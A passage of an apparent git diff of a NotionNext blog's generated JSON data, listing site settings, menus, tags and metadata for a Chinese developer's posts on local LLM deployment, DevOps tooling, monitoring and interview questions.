fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]},{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}],"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":0,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[],"keyword":"NotionNext BLOG"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/search/NotionNext BLOG/page/1.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/search/NotionNext BLOG/page/1.json new file mode 100644 index 000000000..d9c0e6790 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/search/NotionNext BLOG/page/1.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone 